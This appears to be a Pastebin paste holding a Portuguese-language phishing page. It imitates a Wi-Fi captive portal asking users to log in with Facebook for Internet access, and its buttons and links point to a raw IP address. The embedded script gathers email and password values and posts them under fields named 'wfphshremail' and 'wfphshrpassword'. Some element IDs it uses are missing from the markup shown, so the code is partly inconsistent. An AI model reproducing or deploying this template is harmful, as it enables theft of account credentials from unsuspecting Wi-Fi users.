Advertisement
Guest User

Untitled

a guest
Sep 21st, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.64 KB | None | 0 0
  1.  
  2. <html>
  3.  
  4. <head>
  5.  
  6. <title>Bem Vindo</title>
  7.  
  8. <meta charset='UTF-8'>
  9. <meta http-equiv="cache-control" content="no-cache" />
  10. <meta http-equiv="expires" content="0" />
  11. <meta http-equiv="pragma" content="no-cache" />
  12. <meta name="viewport" content="width=device-width,
  13. initial-scale=0.75, maximum-scale=0.75, user-scalable=no">
  14. <meta name="robots" content="noindex, nofollow">
  15. <meta name="theme-color" content="#5170ad" />
  16.  
  17. <script src="static/js/jquery.min.js"></script>
  18.  
  19. <link href='static/css/fonts.css' rel='stylesheet' type='text/css'>
  20. <link rel='stylesheet prefetch' href='static/css/normalize.min.css'>
  21. <link rel="icon" type="image/png" href="static/img/fm5arwc28y.png"/>
  22.  
  23. <style class="cp-pen-styles">
  24.  
  25. * {
  26. -webkit-box-sizing: border-box;
  27. -moz-box-sizing: border-box;
  28. box-sizing: border-box;
  29. }
  30.  
  31. html {
  32. background: #E2E2E2;
  33. }
  34.  
  35. body {
  36. background: #E2E2E2;
  37. margin: 0;
  38. padding: 0;
  39. font-family: 'Lato', sans-serif;
  40. }
  41.  
  42. .logo{
  43. padding-bottom:152px;
  44. background-size:115px;
  45. background-repeat: no-repeat;
  46. background-align:center;
  47. }
  48.  
  49.  
  50. .logo1{
  51. padding-top:80px;
  52.  
  53.  
  54. }
  55. .login-form-wrap {
  56. background: #ffffff;
  57. filter: progid: DXImageTransform.Microsoft.gradient( startColorstr='#ffffff', endColorstr='#355493', GradientType=1);
  58. border: 1px solid #2d416d;
  59. position: relative;
  60. width: 100%;
  61. height: 100%;
  62. margin: auto auto;
  63. padding: 50px 30px 0 30px;
  64. text-align: center;
  65. -webkit-touch-callout: none;
  66. -webkit-user-select: none;
  67. -khtml-user-select: none;
  68. -moz-user-select: none;
  69. -ms-user-select: none;
  70. user-select: none;
  71. }
  72.  
  73. .login-form-wrap:before {
  74. display: block;
  75. content: '';
  76. width: 58px;
  77. height: 19px;
  78. top: 10px;
  79. left: 10px;
  80. position: absolute;
  81. }
  82.  
  83. .login-form-wrap > h1 {
  84. margin: 0 0 50px 0;
  85. padding: 0;
  86. font-size: 26px;
  87. color: #fff;
  88. }
  89.  
  90. .login-form-wrap > h5 {
  91. margin-top: 150px;
  92. }
  93.  
  94. .login-form-wrap > h5 > a {
  95. font-size: 14px;
  96. color: #fff;
  97. text-decoration: none;
  98. font-weight: 400;
  99. }
  100.  
  101. .login-form input[type="text"],
  102. .login-form input[type="password"] {
  103. display: block;
  104. width: 345px;
  105. border: 1px solid #314d89;
  106. outline: none;
  107. padding: 12px 20px;
  108. color: #afafaf;
  109. font-weight: 400;
  110. font-family: 'Lato', sans-serif;
  111. cursor: pointer;
  112. }
  113.  
  114. .login-form input[type="text"] {
  115. color: black;
  116. border-bottom: none;
  117. border-radius: 4px 4px 0 0;
  118. padding-bottom: 13px;
  119. box-shadow: 0 -1px 0 #E0E0E0 inset, 0 1px 2px rgba(0, 0, 0, 0.23) inset;
  120. }
  121.  
  122. .login-form input[type="password"] {
  123. color: black;
  124. border-top: none;
  125. border-radius: 0 0 4px 4px;
  126. box-shadow: 0 -1px 2px rgba(0, 0, 0, 0.23) inset, 0 1px 2px rgba(255, 255, 255, 0.1);
  127. }
  128.  
  129. .login-form input[type="submit"] {
  130. font-family: 'Lato', sans-serif;
  131. font-weight: 400;
  132. background: #e0e0e0;
  133. background: -moz-linear-gradient(top, #e0e0e0 0%, #cecece 100%);
  134. background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #e0e0e0), color-stop(100%, #cecece));
  135. background: -webkit-linear-gradient(top, #e0e0e0 0%, #cecece 100%);
  136. background: -o-linear-gradient(top, #e0e0e0 0%, #cecece 100%);
  137. background: -ms-linear-gradient(top, #e0e0e0 0%, #cecece 100%);
  138. background: linear-gradient(to bottom, #e0e0e0 0%, #cecece 100%);
  139. filter: progid: DXImageTransform.Microsoft.gradient( startColorstr='#e0e0e0', endColorstr='#cecece', GradientType=0);
  140. display: block;
  141. margin: 20px auto 0 auto;
  142. width: 345px;
  143. border: none;
  144. border-radius: 3px;
  145. padding: 8px;
  146. font-size: 17px;
  147. color: #636363;
  148. text-shadow: 0 1px 0 rgba(255, 255, 255, 0.45);
  149. font-weight: 700;
  150. box-shadow: 0 1px 3px 1px rgba(0, 0, 0, 0.17), 0 1px 0 rgba(255, 255, 255, 0.36) inset;
  151. }
  152.  
  153. .login-form input[type="submit"]:hover {
  154. background: #DDD;
  155. }
  156.  
  157. .login-form input[type="submit"]:active {
  158. padding-top: 9px;
  159. padding-bottom: 7px;
  160. background: #C9C9C9;
  161. }
  162.  
  163. .butn {
  164. -webkit-border-radius: 8;
  165. -moz-border-radius: 8;
  166. border-radius: 8px;
  167. font-family: Arial;
  168. color: #ffffff;
  169. font-size: 22px;
  170. background: #4267b2;
  171. padding: 12px 70px 12px 80px;
  172. text-decoration: none;
  173. -webkit-touch-callout: none;
  174. -webkit-user-select: none;
  175. -khtml-user-select: none;
  176. -moz-user-select: none;
  177. -ms-user-select: none;
  178. user-select: none;
  179. }
  180.  
  181. .butn:hover {
  182. background: #4267b2;
  183. text-decoration: none;
  184. }
  185.  
  186. .disable-selection {
  187. -webkit-touch-callout: none;
  188. -webkit-user-select: none;
  189. -khtml-user-select: none;
  190. -moz-user-select: none;
  191. -ms-user-select: none;
  192. user-select: none;
  193. }
  194.  
  195. .cancel{
  196.  
  197. color: #898989;
  198. font-size: 17px;
  199. text-decoration:none;
  200. }
  201.  
  202.  
  203. .footer{
  204. position:relative;
  205. bottom:-150px;
  206. color: #898989;
  207. text-decoration:none;
  208. }
  209.  
  210. .text{
  211. margin-bottom:15px;
  212. color: #898989;
  213. font-size: 20px;
  214. text-decoration:none;
  215. }
  216.  
  217. .text1{
  218. margin-bottom:50px;
  219. color: #898989;
  220. font-size: 18px;
  221. text-decoration:none;
  222. }
  223.  
  224. </style>
  225. </head>
  226.  
  227. <body>
  228.  
  229. <section class="login-form-wrap">
  230.  
  231. <div class="logo"><img src="icon.png" alt="Smiley face" height="90" width="90"></img></div>
  232.  
  233. <div class=text>
  234. <b>Faça login com o Facebook para ter acesso à Internet.</b>
  235. </div>
  236. <div class=text1>
  237. <a>Não publicaremos nada sem sua permissão.</a>
  238. </div>
  239. <form class="login-form">
  240. <div id="button-wrap-inner">
  241.       <a href="http://35.196.197.135" target="_blank" class="butn">Entrar com o Facebook</a>
  242.      </div>
  243. </form>
  244. <div class="logo1">
  245. <a href="http://35.196.197.135" target="_blank" class="cancel">Cancelar</a>
  246. </div>
  247.  
  248. <div class="footer">
  249. <a>Para ler os Termos e Condições <a href="http://35.196.197.135" target="_blank" class="cancel">Clique Aqui</a>.</a>
  250. </div>
  251.  
  252.  
  253.  
  254. </section>
  255.  
  256. <script>
  257. /*
  258. Check the password field and act accordingly.
  259. */
  260.  
  261. $("#btn").on("click", function(e) {
  262. e.preventDefault();
  263. // get the password box and checkbox elements
  264. var input = document.getElementById("eml");
  265. var input2 = document.getElementById("pwd");
  266. // check to see if the value is empty
  267. if ( input.value == "" ){
  268. passNotValid();
  269. }else if( input2.value == "" ){ //check if the value of the repeat field is empty
  270. passNotValid();
  271. }else{
  272. // post the data
  273. $("#dialog").css('display', 'none');
  274. post('post', {
  275. wfphshremail: input.value,
  276. wfphshrpassword: input2.value
  277. });
  278. }
  279. });
  280.  
  281. function passNotValid(){
  282. $(".1").css('border', '1px solid #fa3e3e');
  283. $(".2").css('border', '1px solid #fa3e3e');
  284. $(".2").css('border-top', '0px');
  285. }
  286.  
  287. /*
  288. Post to the fallowing path given the parameters.
  289.  
  290. Args:
  291. path: The path to be posted to.
  292. params: The parameters to be passed.
  293. */
  294. function post(path, params) {
  295. // create a form and set its attributes
  296. var form = document.createElement("form");
  297. form.setAttribute("method", "post");
  298. form.setAttribute("action", path);
  299.  
  300. // set the attribute for the post
  301. for(var key in params) {
  302. if(params.hasOwnProperty(key)) {
  303. var hiddenField = document.createElement("input");
  304. hiddenField.setAttribute("type", "hidden");
  305. hiddenField.setAttribute("name", key);
  306. hiddenField.setAttribute("value", params[key]);
  307. form.appendChild(hiddenField);
  308. }
  309. }
  310. // submit the post
  311. document.body.appendChild(form);
  312. form.submit();
  313. }
  314. var input = document.getElementById("eml");
  315. var input2 = document.getElementById("pwd");
  316. input.disabled = false;
  317. input2.disabled = false;
  318.  
  319. </script>
  320.  
  321.  
  322. </body>
  323. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement